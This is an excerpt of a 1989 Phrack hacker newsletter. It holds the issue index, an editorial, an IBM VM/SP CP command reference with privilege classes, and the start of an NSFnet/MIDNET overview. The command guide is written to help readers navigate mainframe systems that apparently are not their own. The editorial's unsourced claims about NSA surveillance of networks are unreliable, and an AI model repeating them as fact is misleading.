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==Phrack Inc.==
Volume Three, Issue 27, File 1 of 11
Phrack Inc. Newsletter Issue XXVII Index
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
June 20, 1989
Greetings and welcome to Issue 27 of Phrack Inc. The pressure is on with
SummerCon '89 just a couple short days away. We're sorry it has taken so long
to get this issue out, but summer break has created more responsibilities and
busy schedules than we have ever had to deal with while in school. Still, I
think you will agree that this issue was worth the wait.
This issue we feature a new updated NUA and Datex-P list from Oberdaemon
of Switzerland and Chapter 7 of the Future Transcendent Saga (taking into
account that the SPAN and NSFnet files were chapters 5 and 6). We also present
the second part of the COSMOS file written by King Arthur.
Before we get to the main contents of the issue, we have a few comments to
make regarding security and Phrack Inc.'s Internet access;
Thanks to a friend, we at Phrack Inc. have become aware of one of the main
techniques that the National Security Agency (NSA) uses to perform surveillance
on the wide area networks.
In certain messages that certain government agencies distribute, special
phone numbers are included; WATS (800) numbers, to be more specific. As these
messages are distributed around the continent via various netmail and file
transfer schemes, they are passed through several surveillance stations. All
of their stations perform one function, and in Unix terms, that function is
called "grep."
Grep stands for G>lobal R>egular E>xpression search and P>rint. The grep
does simple string matching. Every instance of these special 800-numbers in an
email message (or batch of them) is flagged, recorded, and the record is mailed
to certain intelligence agencies by the surveillance stations.
Here are the networks that we are reasonably certain that this practice is
performed on:
* USEnet : Email is only checked in certain places, but ALL netnews (including
alt and any other nonstandard newsgroups) are flagged by a single
government domain SUN-3 that shall remain nameless.
* ARPAnet : All mail going through a standard BBN (Bolt, Bernack, and
Neumann... a Cambridge/MIT spinoff) Internet controller will be
flagged, but the only information recorded by the controller is the
source and destination TCP/IP addresses of the message. But when
you consider that this involves ***ALL*** DARPA mailing lists, you
get a visualization of the magnitude. The reason more complex
information is NOT recorded is that this network is the only
AUTHORIZED place that these messages with the hot WATS are supposed
to appear. You will see what this means in a moment.
* BITnet : Large IBM mainframe with I/O channel cycles to spare should have no
problem scanning mail from one of the most publically accessable
"free" networks.
* Fidonet : The Secret Service scans this for credit card and other violations.
It is not too hard for them to check for the (800)'s, too.
* W.Union : All international telex lines are scanned to match a whole lot of
stuff, especially drug-related information. The phone numbers are
on their list.
We have other suspicions, but we are withholding them for now.
The other news is equally disturbing because it strikes us a little close
to home. We are temporarily losing our network access. As of June 27, 1989
through August 28, 1989 we will not have access to our accounts on UMCVMB
mainframe system. Make no attempt to mail us to our addresses there until
August 28, 1989. However, every cloud has a silver lining and this is no
exception. For networks people who wish to submit files to Phrack Inc. during
this time period we proudly present our friend and associate, Hatchet Molly.
He can be reached at "TK0GRM2@NIU.BITNET" and/or
"TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU".
So here is to another great issue of Phrack Inc!
Taran King Knight Lightning
Hatchet Molly
TK0GRM2@NIU.BITNET
TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU
_______________________________________________________________________________
Table of Contents:
1. Phrack Inc. XXVII Index by Taran King and Knight Lightning
2. Operating The IBM VM/SP CP by Taran King
3. Introduction To MIDNET: Chapter Seven Of The FTS by Knight Lightning
4. NUA List For Datex-P And X.25 Networks by Oberdaemon
5. COSMOS: COmputer System for Mainframe OperationS (Part Two) by King Arthur
6. Looking Around In DECnet by Deep Thought
7. The Making Of A Hacker by Framstag
8. Sending Fakemail In Unix by Dark OverLord
9. The Postal Inspection Service by Vendetta
10. Phrack World News XXVII/Part 1 by Knight Lightning
11. Phrack World News XXVII/Part 2 by Knight Lightning
12. Phrack World News XXVII/Part 3 by Knight Lightning
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue 27, File 2 of 12
Operating the IBM VM/SP CP
(IBM Virtual Machine System Product Control Program)
An information article researched by
Taran King
May 18, 1989
This article is for the purpose of understanding the Control Program (CP)
portion of IBM's VM/SP. This is basically a separate section of VM/CMS known
as CP (with full screen editors, the CP level is indicated in the lower right
hand corner of the screen and for line-by-line editors, before the command line
and after hitting carriage returns, it should say "CP") and it's purpose is to
manage real resources. Any command that involves something outside of your
virtual machine must communicate with CP. If CMS does not recognize a command
you give it, it will give it to CP.
The user generally enters the CP stage after a program flops or if you get
disconnected. You can also enter the CP stage by hitting PA1 which is a
function key of sorts. PA1 toggles between CP and CMS while on-line and if you
re-login after being disconnected, PA1 can be used besides the BEGIN command
which will be spoken about later in this article.
Generally, VM/CMS systems are well equipped with help files so if anything I
print becomes unclear to you, from CMS mode, type HELP CP XXX where XXX is the
CP command you want information on.
To start this article off, I'm printing off the IBM-Defined Class and the
Function Types as listed in the IBM VM/SP CP manual. This essentially tells
you what privileges you have with your assigned class.
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
IBM-Defined Function User &
Class Type Functions
~~~~~~~~~~~ ~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A O Operations: The primary sysop can issue all
class A commands. The class A user controls
the VM/SP system. Class A is assigned to the
user at the VM/SP system console during IPL.
The primary sysop is responsible for the
availability of the VM/SP system and its
communication lines and resources. In
addition, the class A user controls system
accounting, broadcast messages, virtual
machine performance options, and other
command operands that affect the overall
performance of the VM/SP. The sysop controls
operation of the real machine using the
system control panel and console device.
NOTE: The class A sysop who is automatically
logged on during CP initialization is
designated as the primary sysop.
B R Resource: The system resource operator can
issue all class B commands. The class B user
controls allocation and deallocation of all
the real resources of the VM/SP system,
except those controlled by the primary sysop
and spooling operator.
C P Programmer: The system programmer can issue
all class C commands. The class C user
updates certain functions of the VM/SP
system. The system programmer can modify
real storage in the real machine.
D S Spooling: The spooling operator can issue
all class D commands. The class D user
controls spool data files and specific
functions of the system's unit record
equipment.
E A Analyst: The system analyst can issue all
class E commands. The class E user displays
the contents of real storage, performs the
functions required to generate saved systems
and discontiguous saved segments, and
controls the collecting and recording of
performance measurement data. This class of
user can display specified real storage areas
on the virtual operator's console or on a
spooled virtual printer, but cannot modify
real storage.
F C Customer Engineer: The service
representative can issue all class F
commands. The class F user obtains, and
examines, in detail, certain data about input
and output devices connected to the VM/SP
system. The service representative can
establish extensive recording mode for one
I/O device at a time and can cause the
recording of repressible machine check errors
to be initiated or resumed.
G G General: The general user can issue all
class G commands. The class G user controls
functions associated with the execution of
his virtual machine. A general user cannot
display or modify real storage.
ANY ANY The ANY classification is given to certain CP
commands that are available to any user.
These are primarily for the purpose of
gaining and relinquishing access to the VM/SP
system.
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
The following is the list of commands available along with a brief description
as to what they do and/or formatting and then ending with the IBM-Defined
Class and Function Type.
* : From CP, one may use the * command to annotate the terminal console sheet
~ or the terminal display screen with a comment. In other words, type * and
then any string of characters you would, for some reason, to be present on the
screen thereafter.
Privilege Class: ANY
Function Type: N/A
#CP : This command is used to execute a CP Command while in a virtual machine
~~~ command environment without first signaling attention to get to the CP
command environment which means that when typing P <command> to perform a CP
operation, CP directly receives the command whereas CP <command> merely queues
the command from CP.
Privilege Class: ANY
Function Type: ANY
ACNT : The ACNT command is used to create accounting records for logged on
~~~~ users and to reset accounting data. It also closes a spool file that
is accumulating accounting records.
Privilege Class: A
Function Type: O
ADSTOP : The ADSTOP command is used to halt the execution of a virtual machine
~~~~~~ at a virtual instruction point. The hexloc variable may be placed
after the word ADSTOP which is a 6 character hexadecimal representation of the
virtual instruction address where the execution is to be halted. The OFF
option of the ADSTOP command cancels any previous ADSTOP setting.
Privilege Class: G
Function Type: G
ATTN : Use the ATTN command to make an attention interruption pending at your
~~~~ virtual console.
Privilege Class: G
Function Type: G
AUTOLOG : This command allows the user to log on any virtual machine defined
~~~~~~~ in the directory.
Privilege Level: A, B
Function Type: O
BACKSPAC : The BACKSPAC command is used to restart or reposition the current
~~~~~~~~ output on a real punch or printer.
Privilege Class: D
Function Type: S
BEGIN or B : The BEGIN command by itself from CP mode will return the user to
~~~~~~~~~~ CMS mode in the place where he/she left off before he/she was
disconnected or thrown into CP. The BEGIN command can also be followed by a
hex location as to where to start in the case of the user wanting to be doing
something other than what was previously occurring.
Privilege Class: G
Function Type: G
CHANGE or CH : In use of the CHANGE command, there are subcommands with
~~~~~~~~~~~~ variables. Generally, the "name" variable is 1 to 4 characters
in length. The following are the subcommands with functions and formatting:
o READER or RDR : changes reader spool files.
o PRINTER or PRT : changes printer spool files.
o PUNCH or PCH : changes punch spool files.
o CLASS c1 : designates an existing class where c1 is a 1-character
alphanumerical field from A to Z or 0 to 9.
o spoolid : spoolid number of file that is to be changed.
o FORM form1 : 1 to 8 character alphanumeric form name used to select files
to be changed (form1).
o ALL : changes all of your spool files.
o HOLD : prevents a file from being printed, punched, or read until
released.
o NOHOLD : releases the specified file from the user's HOLD status.
o DIST dist : changes the distribution code to variable "dist".
o COPY(*)nnn : specifies number of copies of the file you want spooled,
which is valid only for printer or punch files. "nnn" is a
number from 1 to 255 and the "*" is present in the case of
a 3800 printer being used so that copies will be made in the
printer internally.
o FLASH name nnn : signifies that a form's overlay contained in the 3800
printer is to be superimposed onto certain pages of
output. "nnn" is a number from 0 to 255 representing
the number of copies to be superimposed.
o MODIFY name (n) : allows text alteration by preventing information
printing or by adding labels to output. "n" selects a
keyword in CHARS to be used for copy modification text.
o CHARS name1 (name2(name3(name4)))
CHARS name1(CH names2(CH names3(CH names4))) : specifies character
arrangement table when printing a file. There can be
up to 4 names.
o FCB name : controls vertical spacing of output on a page.
o FORM form2 : changes spool form name of file to form2.
o NAME fn (ft) : assigns identification to spool file in CMS format
filename and filetype.
o NAME dsname : assigns identification to spool file in non-CMS format
where "dsname" is from 1 to 24 characters, suitable for
specifying OS or DOS files.
Privilege Class: S, G
Function Type: D, G
CLOSE or C : The CLOSE command terminates spooling activity on any virtual
~~~~~~~~~~ spooled unit record or console device. It Contains the following
subcommands to be followed by the letter C or the word CLOSE:
o READER or RDR
o PRINTER or PRT
o PUNCH or PCH
o FORM form1
o HOLD
o NOHOLD
o DIST dist
o NAME fn (ft)
o NAME dsname
o vaddr : virtual address (cuu) of device to be closed.
o CONSOLE : closes virtual machine's console spool file which makes it a
printer spool file.
o PURGE : closes and immediately purges from the virtual machine the
output spool files. No output file is produced.
o CHAIN : only valid for VM/SP HPO Release 4.2 and Profs Spool File
Enhancement PRPQ. Indicates that the punchfile is to be
chained.
Privilege Class: G
Function Type: G
COMMANDS or COMM : Use COMMAND to list the commands and diagnose codes you are
~~~~~~~~~~~~~~~~ authorized to use.
Privilege Class: ANY
Function Type: ANY
COUPLE : Using the COUPLE command connects your virtual non-dedicated
~~~~~~ channel-to-channel device to another user's virtual device of the
same type or to another one of your own virtual devices of the same type. The
format of this command is in the form of COUPLE vaddr1 TO userid vaddr2. The
variable vaddr1 is your virtual address and the variables userid vaddr2
identify the userid and virtual address of that userid to be connected to.
Privilege Class: G
Function Type: G
CP : The CP command may precede the command to be processed, but it is not
~~ necessary. Generally, the CP command is used from CMS mode to queue CP
functions by typing CP <command>.
Privilege Class: ANY
Function Type: ANY
CPTRAP : The CPTRAP command creates a reader file of a selected trace table,
~~~~~~ CP interface, and virtual machine interface entries for problem
determination.
Privilege Class: C
Function Type: P
DCP : This command displays the contents of real storage locations at the
~~~ terminal.
Privilege Class: C, E
Function Type: P
DEFINE or DEF : The DEFINE command in CP is used to alter your virtual machine
~~~~~~~~~~~~~ configuration or channel operating mode. There are a LOT of
subcommands that are used with the DEFINE command such as RDR or PRT or PCH
and the list goes on and on. If you want details, there is a help file (type
HELP CP DEF) that is almost 600 lines that goes into detail on each
subcommand.
Privilege Class: B, G
Function Type: R, G
DETACH or DET : The DETACH command is used to remove a virtual device from the
~~~~~~~~~~~~~ virtual machine. The subcommands are as follows:
o vaddr (vaddr...) : used for multiple addresses to be detached where vaddr
is the virtual address (cuu) of the device to be
detached.
o vaddr-vaddr : used to detach a range of addresses.
o CHANNEL c : detaches the real address of the channel.
Privilege Class: B, G
Function Type: R, G
DIAL : Using the DIAL command logically connects a switched line, leased line,
~~~~ locally attached, or remote Binary Synchronous (BSC) terminal to a
previously logged-on multiple-access virtual machine. It is in the format of
DIAL userid (vaddr) where the userid is that to be connected to and the
vaddr is the optional virtual address.
Privilege Class: ANY
Function Type: ANY
DISABLE : The DISABLE command prevents low speed communications lines from
~~~~~~~ accessing the system.
Privilege Class: A, B
Function Type: R
DISCONN or DISC : The DISCONNECT command is used to disconnect your terminal
~~~~~~~~~~~~~~~ from the system while the virtual machine continues
operation. Using the DISC HOLD or DISC HO option, you specify that the
communications line is not to be disabled which allows you to avoid re-dialing
the system.
Privilege Class: ANY
Function Type: ANY
DISPLAY or D : The DISPLAY command allows you to display virtual machine
~~~~~~~~~~~~ components at your terminal. Depending on what variable
follows the D or DISPLAY command from CP, you can display virtual storage
locations, storage keys, general registers, floating-point registers, control
registers, vector registers, VAC (Vector Activity Counter), VSR (Vector Status
Register), VMR (Vector Mask Register), PSW (Program Status Word), CAW (Channel
Address Word), and CSW (Channel Status Word).
Privilege Class: G
Function Type: G
DMCP : This command prints the contents of real storage locations on a user's
~~~~ virtual spooled printer.
Privilege Class: C, E
Function Type: P
DRAIN : The DRAIN command stops spooling operations on a specified real unit's
~~~~~ read devices after the file currently being processed has been
completed.
Privilege Class: D
Function Type: S
DUMP or DU : Use the DUMP command to print the contents of various components
~~~~~~~~~~ of the virtual machine on the virtual spooled printer. Depending
on what variable is placed after the DUMP or DU command, the items printed
include virtual PSW (Program Status Word), general registers, floating-point
registers, control registers, storage keys, and virtual storage locations.
Privilege Class: G
Function Type: G
ECHO or EC : Defaulted at 1, the ECHO command places the terminal in the echo
~~~~~~~~~~ environment in which any line entered is transmitted unchanged
back to the terminal a specified number of times, depending on the variable
entered immediately after the word ECHO or EC.
Privilege Type: G
Function Type: G
ENABLE : Use the ENABLE command to enable the previously disabled or nonabled
~~~~~~ devices so users may access the system.
Privilege Class: A, B
Function Type: R
EXTERNAL or EXT : The EXTERNAL command allows the user to simulate an external
~~~~~~~~~~~~~~~ interrupt to the virtual machine and to return control to
that machine. The hexadecimal code following the word EXTERNAL or EXT is
associated with the external interrupt, the default being the number 40 which
is associated with the external interrupt button on a system console.
Privilege Class: G
Function Type: G
FLUSH : The FLUSH command halts and immediately purges on hold the current
~~~~~ output on a specified unit record device.
Privilege Class: D
Function Type: S
FORCE : This command forces a logoff of any user of the system.
~~~~~
Privilege Class: A
Function Type: O
FREE : Use the FREE command to remove a set of spool files belonging to a
~~~~ specified user from a system hold status.
Privilege Class: D
Function Type: S
HALT : The HALT command terminates any active channel program on a specified
~~~~ real device.
Privilege Class: A
Function Type: O
HOLD : The HOLD command places user spool files in a system hold status.
~~~~
Privilege Class: D
Function Type: S
INDICATE or IND : At your terminal, you can display the use of and contention
~~~~~~~~~~~~~~~ for major system resources with the INDICATE command. The
following variables that follow the word INDICATE or IND show the following
data:
o LOAD : shows number of users in queue 1 and queue 2, the usage of real
storage, and the ratio of active users to users being serviced.
This is done by returning values that indicate operating load on
the system.
o USER : displays the amounts of system resources used by your virtual
machine in the current terminal session.
Privilege Class: A, E, G
Function Type: O, A, G
IPL or I : Generally used to return to CMS via the IPL CMS or I CMS command,
~~~~~~~~ the IPL command simulates an initial program load function for a
virtual machine. Subcommands are as follows:
o vaddr : virtual address (cuu) of the device that contains the nucleus to
be loaded.
o cylno : cylinder containing the IPL data which defaults to 0.
o nnnnn : block address containing the IPL data which defaults to 0.
o CLEAR : sets virtual storage space to binary zeros before the operating
system is loaded.
o NOCLEAR : allows contents of your virtual storage space to remain
unchanged prior to program load.
o STOP : halts the virtual machine during the IPL procedure just before the
initial PSW is loaded.
o ATTN : generates an attention interrupt to the virtual machine during the
IPL procedure.
o PARM p1 (p2...) : processes up to 64 bytes of data to your virtual
machine's general registers starting with the high
order byte of general register 0.
o systemname : simulates IPL function when loading a named system that was
previously saved.
Privilege Class: G
Function Type: G
LINK : The LINK command is used to make a device that is associated with
~~~~ another virtual machine available at your virtual machine configuration
based upon info in that user's directory entry. This command is in the format
of LINK TO userid vaddr1 AS vaddr2 (mode) ((PASS=) password(1)).
Privilege Class: G
Function Type: G
LOADBUF : On a 1403 printer, the LOADBUF command loads the Universal Character
~~~~~~~ Set (UCS) with a specified print train or chain image. On a
3203, 3211, 3212, 4245, or 4248 printer, it loads the UCS or the Forms Control
Buffer (FCB) with a specified image. On a 3289 Model 4 printer, it loads the
Font Offset Buffer (FOB) with the image print belt and the FCB.
Privilege Class: D
Function Type: S
LOADVFCB : This command specifies the forms control buffer image for different
~~~~~~~~ virtual spooled printers. The variables that follow it include:
o vaddr
o FCB : required reserved keyword meaning Forms Control Buffer.
o name : a name that is system defined.
o INDEX (nn) : place initial printing position in number nn for the 3211
printer.
Privilege Class: G
Function Type: G
LOCATE : Use the LOCATE command to find the addresses of CP control blocks
~~~~~~ associated with a particular user, a user's device, or a real system
device.
Privilege Class: C, E
Function Type: P
LOCK : This command permanently locks in selected pages of real storage.
~~~~
Privilege Class: A
Function Type: O
LOGOFF or LOGOUT or LOG : Used to terminate a virtual machine session and
~~~~~~~~~~~~~~~~~~~~~~~ disconnect your virtual machine from the system,
this command can be used with the HOLD option (i.e. LOG HOLD) for retaining
the connection allowing for a switched communications line to enable one to
log on without re-dialing the system.
Privilege Class: ANY
Function Type: ANY
LOGON or LOGIN or L : Obvious enough, the LOGIN or LOGON command is used to
~~~~~~~~~~~~~~~~~~~ identify yourself to the system and to access that
system. Following the words LOGIN or LOGON or L, type your userid which is
the identifier assigned to you in the system. If the system you are logging
onto does NOT have password suppression, your password can follow directly
after your userid. NOTE: If the system you are on does have password
suppression (i.e. it does not echo to your screen what you type when you type
your password), you will get a system error message if you try to put it on
the same line as your userid. The NOIPL option, which would follow your
password and userid, specifies that the IPL device or name in the directory
should not be used for an automatic IPL.
Privilege Class: ANY
Function Type: ANY
MESSAGE or MSG or M : Use the MESSAGE command to transmit message text to a
~~~~~~~~~~~~~~~~~~~ specified userid or to the primary system operator
userid. MSG userid msgtext sends msgtext to the userid specified after
userid. If userid is replaced with *, the text is sent to yourself. Also, if
the userid is replaced with OPERATOR, the message text is sent to the primary
system operator regardless of his userid.
Privilege Class: A, B, ANY
Function Type: O, ANY
MIGRATE : The MIGRATE command activates the normal page/swap table migration
~~~~~~~ routines or forces a particular user's pages to a secondary device
even if that user is currently active.
Privilege Class: A
Function Type: O
MONITOR : To initiate or override the system-generated function or to
~~~~~~~ terminate the recording of events occurring in the real machine, use
the MONITOR command.
Privilege Class: A, E
Function Type: O
MSGNOH : The MSGNOH command allows a service virtual machine to send messages
~~~~~~ to specified users without the standard header associated with the
MESSAGE command.
Privilege Class: B
Function Type: R
NETWORK : The NETWORK command allows you to load, dump and control operation
~~~~~~~ of a 3704 or 3705 and to control operation of a 3725 control program
operating in 270x emulation mode (EP). Also, it allows control of remote 3270
devices via binary synchronous lines.
Privilege Class: A
Function Type: O
NOTREADY or NOTR : Using the NOTREADY command causes the virtual device, which
~~~~~~~~~~~~~~~~ is specified after the NOTREADY statement via cuu address,
to appear as if it had changed from ready to not ready status.
Privilege Class: G
Function Type: G
ORDER or ORD : ORDER is used to place your closed spool files in a specific
~~~~~~~~~~~~ order by device type. These spool files include READER,
PRINTER, and PUNCH files and can be sorted by CLASS, FORM, and spoolid.
Privilege Class: D, G
Function Type: S, G
PER : PER allows one to monitor certain events as they occur during program
~~~ execution in the user's virtual machine. This command can monitor the
fetching and execution of an instruction, the execution of a successful branch
instruction, the instruction of an instruction that alters a specific general
purpose register, and the execution of an instruction in the virtual machine
that alters storage.
Privilege Class: A, B, C, D, E, F, G
Function Type: G
PURGE or PUR : Use the PURGE command to remove your own closed spool files
~~~~~~~~~~~~ from the system before they are printed or punched by the
spooling devices, or before they are read by a user. The spool file
specifications include READER, PRINTER, and PUNCH files as well as the ALL
option which purges all of the above mentioned files.
Privilege Class: D, G
Function Type: S, G
QUERY or Q : Also available in CMS mode, the QUERY command is used to
~~~~~~~~~~ determine your system status and machine configuration.
Although there are far too many subcommands of the QUERY command, the
following is a list of items that may be queried. I recommend, for full
detail, using the HELP CP QUERY command as it is quite thorough (over 1000
lines) in explaining the QUERY command.
o The time you have used during a terminal session.
o The number of closed input and output spool files associated with
your virtual machine.
o The current settings of the color and/or extended highlight values
in effect for your virtual machine console.
o The current settings of the SET command functions.
o The current settings of the TERMINAL command functions.
o The status of all the devices on your virtual machine.
o The channel operating mode of your virtual machine, whether
block-multiplexer or selector.
o A listing of all users who are linked to a given virtual address,
together with their device addresses and access modes.
o Display of the secondary user (secuser) that is specified in the
CONSOLE directory statement.
o Identification and attributes associated with your virtual
PRINTER, PUNCH, and READER spool files.
o The identification of your virtual processor.
o The mode of processor operation of your VM/SP HPO installation:
uniprocessor mode (UP), attached processor mode (AP), or
multiprocessor mode (MP).
o The userid and system identifier.
o A listing of the PER traceset elements.
o The log messages of the day.
o The names of the users that are logged on.
o The number of users that are logged on or dialed to the system.
NOTE: There are other operands you can use with the QUERY command if you
have the privilege class required to use them.
Privilege Class: A, B, C, D, E, F, G
Function Type: O, R, P, S, A, C, G
QVM : Use this command to request the transition from the VM/SP environment to
~~~ native mode for a particular virtual machine.
Privilege Class: A
Function Type: O
READY : In the format of READY vaddr, this command is used to set a device-end
~~~~~ interruption pending for the specified virtual device.
Privilege Class: G
Function Type: G
REPEAT : Use the REPEAT command to increase the number of copies of an output
~~~~~~ file or to place the current output file in a hold status increasing
or not increasing the number of copies to be created.
Privilege Class: D
Function Type: S
REQUEST or REQ : Simply use the REQUEST command to make an attention interrupt
~~~~~~~~~~~~~~ at your virtual console.
Privilege Class: G
Function Type: G
RESET : Also in the format of RESET vaddr, this command is used to clear all
~~~~~ pending interrupts from the specified virtual device.
Privilege Class: G
Function Type: G
REWIND or REW : The REWIND command is used to rewind a real tape unit attached
~~~~~~~~~~~~~ to your virtual machine at a specified virtual device address
in the format REWIND vaddr.
Privilege Class: G
Function Type: G
SAVESYS : This command allows you to save a virtual machine storage space with
~~~~~~~ registers and the PSW as they currently exist. It is used in the
process of creating named systems.
Privilege Class: E
Function Type: A
SCREEN or SCRE : Use the SCREEN command to alter or change any extended color
~~~~~~~~~~~~~~ and/or extended highlight definitions for your virtual
machine console. You may issue the command from any IBM supported terminal or
from a PROFILE EXEC because the SCREEN command is not device dependent.
However, the SCREEN command is only valid when the Extended Color Feature has
been applied to the terminal controller.
You can assign extended color and extended highlighting values to six distinct
display screen areas: the input area, the system status area, and the output
area that encompasses three other areas: CP output, virtual machine output,
virtual machine output, and an input redisplay area. The physical attributes
of 3270 Information Display station screens vary according to model.
Because this command mainly applies to people who are not on dial-up, I have
elected not to detail all of the variables available with the SCREEN command.
Once again, I recommend you using HELP CP SCREEN for details.
Privilege Class: G
Function Type: G
SEND : Using the Single Console Image Facility, the SEND command is used to
~~~~ pass commands and message replies for the secondary user's console to
disconnect virtual machines for execution. This command is executed in the
format: SEND (CP) userid (text).
Privilege Class: G
Function Type: G
SET : Use the SET command to control various functions within your virtual
~~~ system. This command has a large number of variables that can be SET
and details for each of the variables can be obtained from the HELP CP SET
file.
Privilege Class: A, B, E, F, G
Function Type: O, R, A, C, G
SHUTDOWN : This command, of course, systematically ends all virtual machine
~~~~~~~~ functions and checkpoints the system for an eventual warn start.
Privilege Class: A
Function Type: O
SLEEP or SL : To place the virtual machine in a dormant state but allow
~~~~~~~~~~~ messages to be displayed, use the SLEEP command in the format
of SLEEP nn (time-specification) where time-specification is SEC for seconds,
MIN for minutes, or HR for hours and nn is the number of the amount of time
for the machine to be in dormant state.
Privilege Class: G
Function Type: G
SMSG or SM : The SMSG command is used to send a special message to a virtual
~~~~~~~~~~ machine programmed to accept and process the message. The format
of this command is SMSG userid msgtext where userid is the userid to receive
the message and msgtext is the message to be sent to the userid.
Privilege Class: G
Function Type: G
SPACE : Use the SPACE command to force the output on a specified printer to be
~~~~~ single spaced for the current active spool file regardless of the
carriage control commands in the actual file.
Privilege Class: D
Function Type: S
SPMODE : SPMODE allows the system operator to establish or reset the single
~~~~~~ processor mode environment.
Privilege Class: A
Function Type: O
SPOOL or SP : Use the SPOOL command to modify the spooling control options in
~~~~~~~~~~~ effect for a given virtual spooling device or for a group of
devices. The SPOOL command can also start or stop the spooling of virtual
console input and output. You can direct a file to a remote location by using
the SPOOL command in conjunction with the TAG command.
Privilege Class: G
Function Type: G
SPTAPE : Use this command to dump spool files to tape or to load spool files
~~~~~~ from tape.
Privilege Class: D
Function Type: S
START : The START command restarts a spooling device after it has been drained
~~~~~ or changes the output class that it may service.
Privilege Class: D
Function Type: S
STCP : To alter the contents of real storage but not real PSW or real
~~~~ registers, use the STCP command.
Privilege Class: C
Function Type: P
STORE or ST : The STORE command is used to alter the contents of specified
~~~~~~~~~~~ registers and locations of the virtual machine. As well as
saving virtual machine data in low storage, the contents of the following can
be altered:
o Virtual storage locations
o General registers
o Floating-point registers
o Control registers
o Program Status Word (PSW)
Privilege Class: G
Function Type: G
SYSTEM or SYS : SYSTEM is used to simulate the action of the RESET and RESTART
~~~~~~~~~~~~~ buttons on the real computer console, and to clear storage.
The variables are as follows:
o CLEAR : clears virtual storage and virtual storage keys to binary zeros.
o RESET : clears all pending interrupts and conditions in the virtual
machine.
o RESTART : simulates the hardware system RESTART function by storing the
current PSW at virtual location eight and loading, as the new
PSW, the doubleword from virtual location zero.
Privilege Class: G
Function Type: G
TAG or TA : The TAG has many different variables that can be tagged, which are
~~~~~~~~~ too many to list here because of different settings for each one,
but it is used to associate file descriptive information with a spool file.
Privilege Class: G
Function Type: G
TERMINAL or TERM : The TERMINAL command is used to control the following
~~~~~~~~~~~~~~~~ functions associated with your virtual console:
o Logical line-editing symbols
o Masking of password
o The APL character set
o The Text character set
o Signaling of an attention interrupt
o Attention handling mode for your virtual console
o Line length for output on your virtual console
o Specifying terminal device type as 3101 or TTY
o Location of cursor preceding terminal read
o Scrolling rate for 3101 terminal
Privilege Class: G
Function Type: G
TRACE or TR : Use the TRACE command to trace specified virtual machine
~~~~~~~~~~~ activity and to record the results at the terminal, on a virtual
spooled printer, or on both terminal and printer. If you issue more than one
TRACE command, the operands are cumulative; that is, operands specified for the
first time are activated, whereas those specified with new modifiers are
updated. The RUN and NORUN operands, however, can be specified in different
tracing functions and do not cause a conflict.
You cannot issue the TRACE command while preferred machine assist is
operating, whether or not you have enabled the preferred machine assist
feature's control switch assist.
Privilege Class: G
Function Type: G
TRANSFER or TRAN : This command is used to transfer your closed spool files to
~~~~~~~~~~~~~~~~ a specified user or queue, or to reclaim closed spool files
that you created.
Privilege Class: D, G
Function Type: S, G
UNLOCK : Use the UNLOCK command to unlock page frames previously locked by a
~~~~~~ LOCK command.
Privilege Class: A
Function Type: O
VARY : The VARY command marks a device available or unavailable for use by a
~~~~ user or the control program.
Privilege Class: B
Function Type: R
VMDUMP or VMD : The VMDUMP command dumps virtual storage that VM/SP HPO
~~~~~~~~~~~~~ creates for the virtual machine user. VMDUMP dumps the
following:
o Virtual Program Status Word (PSW)
o General registers
o Floating-point registers
o Control registers
o Storage protection keys
o Virtual machine type identification
o Timer values
Privilege Class: G
Function Type: G
WARNING : Use the WARNING command to transmit high-priority messages to a
~~~~~~~ specified user or to all users.
Privilege Class: A, B
Function Type: O
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
This article is far from totally complete as far as in-depthness goes. As I
have stated in numerous portions of this file, the VM/CMS system has a very
good HELP file system, and from CMS, the command HELP CP <command> will, in
most cases, allow you to read a relatively clear text file containing the
details and usage specifications of these commands. I hope that, should you be
moving around a VM/CMS system, this file will assist you in the CP mode.
For those that wish to contact me for commentary on this file topic or other
topic conversation, you can send e-mail to my network addresses:
Internet: C488869@UMCVMB.MISSOURI.EDU
Bitnet: C488869@UMCVMB.BITNET
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
==Phrack Inc.==
Volume Three, Issue 27, File 3 of 12
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
<> <>
<> Introduction to MIDNET <>
<> ~~~~~~~~~~~~~~~~~~~~~~ <>
<> Chapter Seven Of The Future Transcendent Saga <>
<> <>
<> A More Indepth Look Into NSFnet <>
<> National Science Foundation Network <>
<> <>
<> Presented by Knight Lightning <>
<> June 16, 1989 <>
<> <>
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
Prologue
~~~~~~~~
If you are not already familiar with NSFnet, I would suggest that you read:
"Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13), and definitely;
"NSFnet: National Science Foundation Network" (Phrack Inc., Volume Three,
Issue 26, File 4 of 11).
Table Of Contents
~~~~~~~~~~~~~~~~~
* Introduction
* The DOD Protocol Suite
* Names and Addresses In A Network
* Telnet (*NOT* Telenet)
* File Transfer
* Mail
Introduction
~~~~~~~~~~~~
MIDNET is a regional computer network that is part of the NSFnet, the National
Science Foundation Network. Currently, eleven mid-United States universities
are connected to each other and to the NSFnet via MIDnet:
UA - University of Arkansas at Fayetteville
ISU - Iowa State University at Ames
UI - University of Iowa at Iowa City
KSU - Kansas State University at Manhattan
KU - University of Kansas at Lawrence
UMC - University of Missouri at Columbia
WU - Washington University at St. Louis, Missouri
UNL - University of Nebraska at Lincoln
OSU - Oklahoma State University at Stillwater
